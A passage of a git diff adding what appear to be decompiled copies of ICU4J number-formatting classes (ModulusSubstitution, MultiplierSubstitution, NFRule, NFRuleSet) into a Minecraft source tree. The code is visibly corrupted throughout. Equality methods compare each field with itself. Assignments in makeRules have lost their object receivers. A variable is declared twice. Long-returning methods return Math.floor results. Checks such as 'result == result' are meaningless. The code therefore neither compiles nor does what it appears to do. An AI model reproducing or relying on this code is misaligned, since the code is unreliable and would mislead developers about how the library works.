+  ModulusSubstitution(int pos, double divisor, NFRule rulePredecessor, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    super(pos, ruleSet, formatter, description);
+    
+
+
+
+    this.divisor = divisor;
+    
+    if (divisor == 0.0D) {
+      throw new IllegalStateException("Substitution with bad divisor (" + divisor + ") " + description.substring(0, pos) + " | " + description.substring(pos));
+    }
+    
+
+
+
+
+
+
+    if (description.equals(">>>")) {
+      ruleToUse = rulePredecessor;
+    } else {
+      ruleToUse = null;
+    }
+  }
+  
+
+
+
+
+
+  public void setDivisor(int radix, int exponent)
+  {
+    divisor = Math.pow(radix, exponent);
+    
+    if (divisor == 0.0D) {
+      throw new IllegalStateException("Substitution with bad divisor");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object that)
+  {
+    if (super.equals(that)) {
+      ModulusSubstitution that2 = (ModulusSubstitution)that;
+      
+      return divisor == divisor;
+    }
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void doSubstitution(long number, StringBuffer toInsertInto, int position)
+  {
+    if (ruleToUse == null) {
+      super.doSubstitution(number, toInsertInto, position);
+
+    }
+    else
+    {
+      long numberToFormat = transformNumber(number);
+      ruleToUse.doFormat(numberToFormat, toInsertInto, position + pos);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void doSubstitution(double number, StringBuffer toInsertInto, int position)
+  {
+    if (ruleToUse == null) {
+      super.doSubstitution(number, toInsertInto, position);
+
+    }
+    else
+    {
+      double numberToFormat = transformNumber(number);
+      
+      ruleToUse.doFormat(numberToFormat, toInsertInto, position + pos);
+    }
+  }
+  
+
+
+
+
+
+  public long transformNumber(long number)
+  {
+    return Math.floor(number % divisor);
+  }
+  
+
+
+
+
+
+  public double transformNumber(double number)
+  {
+    return Math.floor(number % divisor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Number doParse(String text, ParsePosition parsePosition, double baseValue, double upperBound, boolean lenientParse)
+  {
+    if (ruleToUse == null) {
+      return super.doParse(text, parsePosition, baseValue, upperBound, lenientParse);
+    }
+    
+
+
+
+    Number tempResult = ruleToUse.doParse(text, parsePosition, false, upperBound);
+    
+    if (parsePosition.getIndex() != 0) {
+      double result = tempResult.doubleValue();
+      
+      result = composeRuleValue(result, baseValue);
+      if (result == result) {
+        return Long.valueOf(result);
+      }
+      return new Double(result);
+    }
+    
+    return tempResult;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public double composeRuleValue(double newRuleValue, double oldRuleValue)
+  {
+    return oldRuleValue - oldRuleValue % divisor + newRuleValue;
+  }
+  
+
+
+
+
+  public double calcUpperBound(double oldUpperBound)
+  {
+    return divisor;
+  }
+  
+
+
+
+
+
+
+
+  public boolean isModulusSubstitution()
+  {
+    return true;
+  }
+  
+
+
+
+  char tokenChar()
+  {
+    return '>';
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/MultiplierSubstitution.java b/src/minecraft/com/ibm/icu/text/MultiplierSubstitution.java
new file mode 100644
index 0000000..b1f4b24
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/MultiplierSubstitution.java
@@ -0,0 +1,796 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class MultiplierSubstitution
+  extends NFSubstitution
+{
+  double divisor;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  MultiplierSubstitution(int pos, double divisor, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    super(pos, ruleSet, formatter, description);
+    
+
+
+
+    this.divisor = divisor;
+    
+    if (divisor == 0.0D) {
+      throw new IllegalStateException("Substitution with bad divisor (" + divisor + ") " + description.substring(0, pos) + " | " + description.substring(pos));
+    }
+  }
+  
+
+
+
+
+
+  public void setDivisor(int radix, int exponent)
+  {
+    divisor = Math.pow(radix, exponent);
+    
+    if (divisor == 0.0D) {
+      throw new IllegalStateException("Substitution with divisor 0");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean equals(Object that)
+  {
+    if (super.equals(that)) {
+      MultiplierSubstitution that2 = (MultiplierSubstitution)that;
+      
+      return divisor == divisor;
+    }
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+
+
+
+  public long transformNumber(long number)
+  {
+    return Math.floor(number / divisor);
+  }
+  
+
+
+
+
+
+
+
+
+  public double transformNumber(double number)
+  {
+    if (ruleSet == null) {
+      return number / divisor;
+    }
+    return Math.floor(number / divisor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public double composeRuleValue(double newRuleValue, double oldRuleValue)
+  {
+    return newRuleValue * divisor;
+  }
+  
+
+
+
+
+  public double calcUpperBound(double oldUpperBound)
+  {
+    return divisor;
+  }
+  
+
+
+
+
+
+
+
+  char tokenChar()
+  {
+    return '<';
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/NFRule.java b/src/minecraft/com/ibm/icu/text/NFRule.java
new file mode 100644
index 0000000..476a006
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/NFRule.java
@@ -0,0 +1,1330 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.PatternProps;
+import java.text.ParsePosition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class NFRule
+{
+  public static final int NEGATIVE_NUMBER_RULE = -1;
+  public static final int IMPROPER_FRACTION_RULE = -2;
+  public static final int PROPER_FRACTION_RULE = -3;
+  public static final int MASTER_RULE = -4;
+  private long baseValue;
+  private int radix = 10;
+  
+
+
+
+
+  private short exponent = 0;
+  
+
+
+
+
+
+  private String ruleText = null;
+  
+
+
+
+
+  private NFSubstitution sub1 = null;
+  
+
+
+
+
+  private NFSubstitution sub2 = null;
+  
+
+
+
+  private RuleBasedNumberFormat formatter = null;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Object makeRules(String description, NFRuleSet owner, NFRule predecessor, RuleBasedNumberFormat ownersOwner)
+  {
+    NFRule rule1 = new NFRule(ownersOwner);
+    description = rule1.parseRuleDescriptor(description);
+    
+
+
+    int brack1 = description.indexOf("[");
+    int brack2 = description.indexOf("]");
+    
+
+
+
+
+    if ((brack1 == -1) || (brack2 == -1) || (brack1 > brack2) || (rule1.getBaseValue() == -3L) || (rule1.getBaseValue() == -1L))
+    {
+
+      ruleText = description;
+      rule1.extractSubstitutions(owner, predecessor, ownersOwner);
+      return rule1;
+    }
+    
+
+    NFRule rule2 = null;
+    StringBuilder sbuf = new StringBuilder();
+    
+
+
+
+    if (((baseValue > 0L) && (baseValue % Math.pow(radix, exponent) == 0.0D)) || (baseValue == -2L) || (baseValue == -4L))
+    {
+
+
+
+
+
+
+
+
+      rule2 = new NFRule(ownersOwner);
+      if (baseValue >= 0L) {
+        baseValue = baseValue;
+        if (!owner.isFractionSet()) {
+          baseValue += 1L;
+
+        }
+        
+
+
+      }
+      else if (baseValue == -2L) {
+        baseValue = -3L;
+
+
+
+
+      }
+      else if (baseValue == -4L) {
+        baseValue = baseValue;
+        baseValue = -2L;
+      }
+      
+
+
+      radix = radix;
+      exponent = exponent;
+      
+
+
+      sbuf.append(description.substring(0, brack1));
+      if (brack2 + 1 < description.length()) {
+        sbuf.append(description.substring(brack2 + 1));
+      }
+      ruleText = sbuf.toString();
+      rule2.extractSubstitutions(owner, predecessor, ownersOwner);
+    }
+    
+
+
+
+    sbuf.setLength(0);
+    sbuf.append(description.substring(0, brack1));
+    sbuf.append(description.substring(brack1 + 1, brack2));
+    if (brack2 + 1 < description.length()) {
+      sbuf.append(description.substring(brack2 + 1));
+    }
+    ruleText = sbuf.toString();
+    rule1.extractSubstitutions(owner, predecessor, ownersOwner);
+    
+
+
+
+
+
+    if (rule2 == null) {
+      return rule1;
+    }
+    return new NFRule[] { rule2, rule1 };
+  }
+  
+
+
+
+
+
+  public NFRule(RuleBasedNumberFormat formatter)
+  {
+    this.formatter = formatter;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String parseRuleDescriptor(String description)
+  {
+    int p = description.indexOf(":");
+    if (p == -1) {
+      setBaseValue(0L);
+
+    }
+    else
+    {
+      String descriptor = description.substring(0, p);
+      p++;
+      while ((p < description.length()) && (PatternProps.isWhiteSpace(description.charAt(p))))
+        p++;
+      description = description.substring(p);
+      
+
+
+
+      if (descriptor.equals("-x")) {
+        setBaseValue(-1L);
+      }
+      else if (descriptor.equals("x.x")) {
+        setBaseValue(-2L);
+      }
+      else if (descriptor.equals("0.x")) {
+        setBaseValue(-3L);
+      }
+      else if (descriptor.equals("x.0")) {
+        setBaseValue(-4L);
+
+
+
+      }
+      else if ((descriptor.charAt(0) >= '0') && (descriptor.charAt(0) <= '9')) {
+        StringBuilder tempValue = new StringBuilder();
+        p = 0;
+        char c = ' ';
+        
+
+
+
+
+        while (p < descriptor.length()) {
+          c = descriptor.charAt(p);
+          if ((c >= '0') && (c <= '9')) {
+            tempValue.append(c);
+          } else {
+            if ((c == '/') || (c == '>')) {
+              break;
+            }
+            if ((!PatternProps.isWhiteSpace(c)) && (c != ',') && (c != '.'))
+            {
+
+              throw new IllegalArgumentException("Illegal character in rule descriptor"); }
+          }
+          p++;
+        }
+        
+
+
+
+        setBaseValue(Long.parseLong(tempValue.toString()));
+        
+
+
+
+
+        if (c == '/') {
+          tempValue.setLength(0);
+          p++;
+          while (p < descriptor.length()) {
+            c = descriptor.charAt(p);
+            if ((c >= '0') && (c <= '9')) {
+              tempValue.append(c);
+            } else {
+              if (c == '>') {
+                break;
+              }
+              if ((!PatternProps.isWhiteSpace(c)) && (c != ',') && (c != '.'))
+              {
+
+                throw new IllegalArgumentException("Illegal character is rule descriptor"); }
+            }
+            p++;
+          }
+          
+
+
+          radix = Integer.parseInt(tempValue.toString());
+          if (radix == 0) {
+            throw new IllegalArgumentException("Rule can't have radix of 0");
+          }
+          exponent = expectedExponent();
+        }
+        
+
+
+
+
+
+        if (c == '>') {
+          while (p < descriptor.length()) {
+            c = descriptor.charAt(p);
+            if ((c == '>') && (exponent > 0)) {
+              exponent = ((short)(exponent - 1));
+            } else {
+              throw new IllegalArgumentException("Illegal character in rule descriptor");
+            }
+            p++;
+          }
+        }
+      }
+    }
+    
+
+
+
+    if ((description.length() > 0) && (description.charAt(0) == '\'')) {
+      description = description.substring(1);
+    }
+    
+
+
+    return description;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void extractSubstitutions(NFRuleSet owner, NFRule predecessor, RuleBasedNumberFormat ownersOwner)
+  {
+    sub1 = extractSubstitution(owner, predecessor, ownersOwner);
+    sub2 = extractSubstitution(owner, predecessor, ownersOwner);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private NFSubstitution extractSubstitution(NFRuleSet owner, NFRule predecessor, RuleBasedNumberFormat ownersOwner)
+  {
+    NFSubstitution result = null;
+    
+
+
+
+
+    int subStart = indexOfAny(new String[] { "<<", "<%", "<#", "<0", ">>", ">%", ">#", ">0", "=%", "=#", "=0" });
+    
+
+
+
+
+    if (subStart == -1) {
+      return NFSubstitution.makeSubstitution(ruleText.length(), this, predecessor, owner, ownersOwner, "");
+    }
+    
+    int subEnd;
+    
+    int subEnd;
+    if (ruleText.substring(subStart).startsWith(">>>")) {
+      subEnd = subStart + 2;
+
+    }
+    else
+    {
+      char c = ruleText.charAt(subStart);
+      subEnd = ruleText.indexOf(c, subStart + 1);
+      
+      if ((c == '<') && (subEnd != -1) && (subEnd < ruleText.length() - 1) && (ruleText.charAt(subEnd + 1) == c))
+      {
+
+
+
+        subEnd++;
+      }
+    }
+    
+
+
+
+    if (subEnd == -1) {
+      return NFSubstitution.makeSubstitution(ruleText.length(), this, predecessor, owner, ownersOwner, "");
+    }
+    
+
+
+
+
+    result = NFSubstitution.makeSubstitution(subStart, this, predecessor, owner, ownersOwner, ruleText.substring(subStart, subEnd + 1));
+    
+
+
+    ruleText = (ruleText.substring(0, subStart) + ruleText.substring(subEnd + 1));
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public final void setBaseValue(long newBaseValue)
+  {
+    baseValue = newBaseValue;
+    
+
+
+
+
+
+    if (baseValue >= 1L) {
+      radix = 10;
+      exponent = expectedExponent();
+      
+
+
+
+
+      if (sub1 != null) {
+        sub1.setDivisor(radix, exponent);
+      }
+      if (sub2 != null) {
+        sub2.setDivisor(radix, exponent);
+      }
+      
+    }
+    else
+    {
+      radix = 10;
+      exponent = 0;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private short expectedExponent()
+  {
+    if ((radix == 0) || (baseValue < 1L)) {
+      return 0;
+    }
+    
+
+
+
+    short tempResult = (short)(int)(Math.log(baseValue) / Math.log(radix));
+    if (Math.pow(radix, tempResult + 1) <= baseValue) {
+      return (short)(tempResult + 1);
+    }
+    return tempResult;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private int indexOfAny(String[] strings)
+  {
+    int result = -1;
+    for (int i = 0; i < strings.length; i++) {
+      int pos = ruleText.indexOf(strings[i]);
+      if ((pos != -1) && ((result == -1) || (pos < result))) {
+        result = pos;
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean equals(Object that)
+  {
+    if ((that instanceof NFRule)) {
+      NFRule that2 = (NFRule)that;
+      
+      return (baseValue == baseValue) && (radix == radix) && (exponent == exponent) && (ruleText.equals(ruleText)) && (sub1.equals(sub1)) && (sub2.equals(sub2));
+    }
+    
+
+
+
+
+    return false;
+  }
+  
+  public int hashCode() {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder result = new StringBuilder();
+    
+
+    if (baseValue == -1L) {
+      result.append("-x: ");
+    }
+    else if (baseValue == -2L) {
+      result.append("x.x: ");
+    }
+    else if (baseValue == -3L) {
+      result.append("0.x: ");
+    }
+    else if (baseValue == -4L) {
+      result.append("x.0: ");
+
+
+
+    }
+    else
+    {
+
+
+
+      result.append(String.valueOf(baseValue));
+      if (radix != 10) {
+        result.append('/');
+        result.append(String.valueOf(radix));
+      }
+      int numCarets = expectedExponent() - exponent;
+      for (int i = 0; i < numCarets; i++)
+        result.append('>');
+      result.append(": ");
+    }
+    
+
+
+
+    if ((ruleText.startsWith(" ")) && ((sub1 == null) || (sub1.getPos() != 0))) {
+      result.append("'");
+    }
+    
+
+
+    StringBuilder ruleTextCopy = new StringBuilder(ruleText);
+    ruleTextCopy.insert(sub2.getPos(), sub2.toString());
+    ruleTextCopy.insert(sub1.getPos(), sub1.toString());
+    result.append(ruleTextCopy.toString());
+    
+
+
+    result.append(';');
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+  public final long getBaseValue()
+  {
+    return baseValue;
+  }
+  
+
+
+
+
+  public double getDivisor()
+  {
+    return Math.pow(radix, exponent);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void doFormat(long number, StringBuffer toInsertInto, int pos)
+  {
+    toInsertInto.insert(pos, ruleText);
+    sub2.doSubstitution(number, toInsertInto, pos);
+    sub1.doSubstitution(number, toInsertInto, pos);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void doFormat(double number, StringBuffer toInsertInto, int pos)
+  {
+    toInsertInto.insert(pos, ruleText);
+    sub2.doSubstitution(number, toInsertInto, pos);
+    sub1.doSubstitution(number, toInsertInto, pos);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean shouldRollBack(double number)
+  {
+    if ((sub1.isModulusSubstitution()) || (sub2.isModulusSubstitution())) {
+      return (number % Math.pow(radix, exponent) == 0.0D) && (baseValue % Math.pow(radix, exponent) != 0.0D);
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Number doParse(String text, ParsePosition parsePosition, boolean isFractionRule, double upperBound)
+  {
+    ParsePosition pp = new ParsePosition(0);
+    
+
+
+
+
+    String workText = stripPrefix(text, ruleText.substring(0, sub1.getPos()), pp);
+    int prefixLength = text.length() - workText.length();
+    
+    if ((pp.getIndex() == 0) && (sub1.getPos() != 0))
+    {
+
+      return Long.valueOf(0L);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    int highWaterMark = 0;
+    double result = 0.0D;
+    int start = 0;
+    double tempBaseValue = Math.max(0L, baseValue);
+    
+
+
+
+    do
+    {
+      pp.setIndex(0);
+      double partialResult = matchToDelimiter(workText, start, tempBaseValue, ruleText.substring(sub1.getPos(), sub2.getPos()), pp, sub1, upperBound).doubleValue();
+      
+
+
+
+
+
+
+      if ((pp.getIndex() != 0) || (sub1.isNullSubstitution())) {
+        start = pp.getIndex();
+        
+        String workText2 = workText.substring(pp.getIndex());
+        ParsePosition pp2 = new ParsePosition(0);
+        
+
+
+
+
+        partialResult = matchToDelimiter(workText2, 0, partialResult, ruleText.substring(sub2.getPos()), pp2, sub2, upperBound).doubleValue();
+        
+
+
+
+
+
+        if (((pp2.getIndex() != 0) || (sub2.isNullSubstitution())) && 
+          (prefixLength + pp.getIndex() + pp2.getIndex() > highWaterMark)) {
+          highWaterMark = prefixLength + pp.getIndex() + pp2.getIndex();
+          result = partialResult;
+
+
+
+
+
+
+        }
+        
+
+
+
+
+
+      }
+      
+
+
+
+
+
+    }
+    while ((sub1.getPos() != sub2.getPos()) && (pp.getIndex() > 0) && (pp.getIndex() < workText.length()) && (pp.getIndex() != start));
+    
+
+
+
+
+    parsePosition.setIndex(highWaterMark);
+    
+
+
+
+
+
+
+
+
+
+
+    if ((isFractionRule) && (highWaterMark > 0) && (sub1.isNullSubstitution())) {
+      result = 1.0D / result;
+    }
+    
+
+    if (result == result) {
+      return Long.valueOf(result);
+    }
+    return new Double(result);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String stripPrefix(String text, String prefix, ParsePosition pp)
+  {
+    if (prefix.length() == 0) {
+      return text;
+    }
+    
+
+
+
+    int pfl = prefixLength(text, prefix);
+    if (pfl != 0)
+    {
+
+      pp.setIndex(pp.getIndex() + pfl);
+      return text.substring(pfl);
+    }
+    
+
+    return text;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private Number matchToDelimiter(String text, int startPos, double baseVal, String delimiter, ParsePosition pp, NFSubstitution sub, double upperBound)
+  {
+    if (!allIgnorable(delimiter)) {
+      ParsePosition tempPP = new ParsePosition(0);
+      
+
+
+
+
+
+      int[] temp = findText(text, delimiter, startPos);
+      int dPos = temp[0];
+      int dLen = temp[1];
+      
+
+
+      while (dPos >= 0) {
+        String subText = text.substring(0, dPos);
+        if (subText.length() > 0) {
+          Number tempResult = sub.doParse(subText, tempPP, baseVal, upperBound, formatter.lenientParseEnabled());
+          
+
+
+
+
+
+
+
+          if (tempPP.getIndex() == dPos) {
+            pp.setIndex(dPos + dLen);
+            return tempResult;
+          }
+        }
+        
+
+
+
+
+
+
+
+
+
+
+
+        tempPP.setIndex(0);
+        temp = findText(text, delimiter, dPos + dLen);
+        dPos = temp[0];
+        dLen = temp[1];
+      }
+      
+
+      pp.setIndex(0);
+      return Long.valueOf(0L);
+    }
+    
+
+
+
+
+    ParsePosition tempPP = new ParsePosition(0);
+    Number result = Long.valueOf(0L);
+    
+
+
+    Number tempResult = sub.doParse(text, tempPP, baseVal, upperBound, formatter.lenientParseEnabled());
+    
+    if ((tempPP.getIndex() != 0) || (sub.isNullSubstitution()))
+    {
+
+
+
+      pp.setIndex(tempPP.getIndex());
+      if (tempResult != null) {
+        result = tempResult;
+      }
+    }
+    
+
+
+
+
+
+
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int prefixLength(String str, String prefix)
+  {
+    if (prefix.length() == 0) {
+      return 0;
+    }
+    
+    RbnfLenientScanner scanner = formatter.getLenientScanner();
+    if (scanner != null) {
+      return scanner.prefixLength(str, prefix);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (str.startsWith(prefix)) {
+      return prefix.length();
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int[] findText(String str, String key, int startingAt)
+  {
+    RbnfLenientScanner scanner = formatter.getLenientScanner();
+    
+    if (scanner == null) {
+      return new int[] { str.indexOf(key, startingAt), key.length() };
+    }
+    
+
+
+    return scanner.findText(str, key, startingAt);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean allIgnorable(String str)
+  {
+    if (str.length() == 0) {
+      return true;
+    }
+    RbnfLenientScanner scanner = formatter.getLenientScanner();
+    if (scanner != null) {
+      return scanner.allIgnorable(str);
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/NFRuleSet.java b/src/minecraft/com/ibm/icu/text/NFRuleSet.java
new file mode 100644
index 0000000..97f535d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/NFRuleSet.java
@@ -0,0 +1,802 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.PatternProps;
+import com.ibm.icu.impl.Utility;
+import java.text.ParsePosition;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class NFRuleSet
+{
+  private String name;
+  private NFRule[] rules;
+  private NFRule negativeNumberRule = null;
+  
+
+
+
+
+
+  private NFRule[] fractionRules = new NFRule[3];
+  
+
+
+
+
+
+
+
+
+  private boolean isFractionRuleSet = false;
+  
+
+
+
+  private boolean isParseable = true;
+  
+
+
+
+  private int recursionCount = 0;
+  
+
+
+
+
+
+
+  private static final int RECURSION_LIMIT = 50;
+  
+
+
+
+
+
+
+
+  public NFRuleSet(String[] descriptions, int index)
+    throws IllegalArgumentException
+  {
+    String description = descriptions[index];
+    
+    if (description.length() == 0) {
+      throw new IllegalArgumentException("Empty rule set description");
+    }
+    
+
+
+
+
+    if (description.charAt(0) == '%') {
+      int pos = description.indexOf(':');
+      if (pos == -1) {
+        throw new IllegalArgumentException("Rule set name doesn't end in colon");
+      }
+      name = description.substring(0, pos);
+      while ((pos < description.length()) && (PatternProps.isWhiteSpace(description.charAt(++pos)))) {}
+      
+
+      description = description.substring(pos);
+      descriptions[index] = description;
+
+    }
+    else
+    {
+
+      name = "%default";
+    }
+    
+    if (description.length() == 0) {
+      throw new IllegalArgumentException("Empty rule set description");
+    }
+    
+    if (name.endsWith("@noparse")) {
+      name = name.substring(0, name.length() - 8);
+      isParseable = false;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void parseRules(String description, RuleBasedNumberFormat owner)
+  {
+    List<String> ruleDescriptions = new ArrayList();
+    
+    int oldP = 0;
+    int p = description.indexOf(';');
+    while (oldP != -1) {
+      if (p != -1) {
+        ruleDescriptions.add(description.substring(oldP, p));
+        oldP = p + 1;
+      } else {
+        if (oldP < description.length()) {
+          ruleDescriptions.add(description.substring(oldP));
+        }
+        oldP = p;
+      }
+      p = description.indexOf(';', p + 1);
+    }
+    
+
+
+
+    List<NFRule> tempRules = new ArrayList();
+    
+
+
+    NFRule predecessor = null;
+    for (int i = 0; i < ruleDescriptions.size(); i++)
+    {
+
+
+      Object temp = NFRule.makeRules((String)ruleDescriptions.get(i), this, predecessor, owner);
+      
+
+      if ((temp instanceof NFRule)) {
+        tempRules.add((NFRule)temp);
+        predecessor = (NFRule)temp;
+      }
+      else if ((temp instanceof NFRule[])) {
+        NFRule[] rulesToAdd = (NFRule[])temp;
+        
+        for (int j = 0; j < rulesToAdd.length; j++) {
+          tempRules.add(rulesToAdd[j]);
+          predecessor = rulesToAdd[j];
+        }
+      }
+    }
+    
+    ruleDescriptions = null;
+    
+
+
+
+
+    long defaultBaseValue = 0L;
+    
+
+
+
+    int i = 0;
+    while (i < tempRules.size()) {
+      NFRule rule = (NFRule)tempRules.get(i);
+      
+      switch ((int)rule.getBaseValue())
+      {
+
+
+
+
+      case 0: 
+        rule.setBaseValue(defaultBaseValue);
+        if (!isFractionRuleSet) {
+          defaultBaseValue += 1L;
+        }
+        i++;
+        break;
+      
+
+
+      case -1: 
+        negativeNumberRule = rule;
+        tempRules.remove(i);
+        break;
+      
+
+
+      case -2: 
+        fractionRules[0] = rule;
+        tempRules.remove(i);
+        break;
+      
+
+
+      case -3: 
+        fractionRules[1] = rule;
+        tempRules.remove(i);
+        break;
+      
+
+
+      case -4: 
+        fractionRules[2] = rule;
+        tempRules.remove(i);
+        break;
+      
+
+
+
+      default: 
+        if (rule.getBaseValue() < defaultBaseValue) {
+          throw new IllegalArgumentException("Rules are not in order, base: " + rule.getBaseValue() + " < " + defaultBaseValue);
+        }
+        
+        defaultBaseValue = rule.getBaseValue();
+        if (!isFractionRuleSet) {
+          defaultBaseValue += 1L;
+        }
+        i++;
+      }
+      
+    }
+    
+
+
+    rules = new NFRule[tempRules.size()];
+    tempRules.toArray(rules);
+  }
+  
+
+
+
+
+
+
+
+  public void makeIntoFractionRuleSet()
+  {
+    isFractionRuleSet = true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object that)
+  {
+    if (!(that instanceof NFRuleSet)) {
+      return false;
+    }
+    
+    NFRuleSet that2 = (NFRuleSet)that;
+    
+    if ((!name.equals(name)) || (!Utility.objectEquals(negativeNumberRule, negativeNumberRule)) || (!Utility.objectEquals(fractionRules[0], fractionRules[0])) || (!Utility.objectEquals(fractionRules[1], fractionRules[1])) || (!Utility.objectEquals(fractionRules[2], fractionRules[2])) || (rules.length != rules.length) || (isFractionRuleSet != isFractionRuleSet))
+    {
+
+
+
+
+
+
+      return false;
+    }
+    
+
+    for (int i = 0; i < rules.length; i++) {
+      if (!rules[i].equals(rules[i])) {
+        return false;
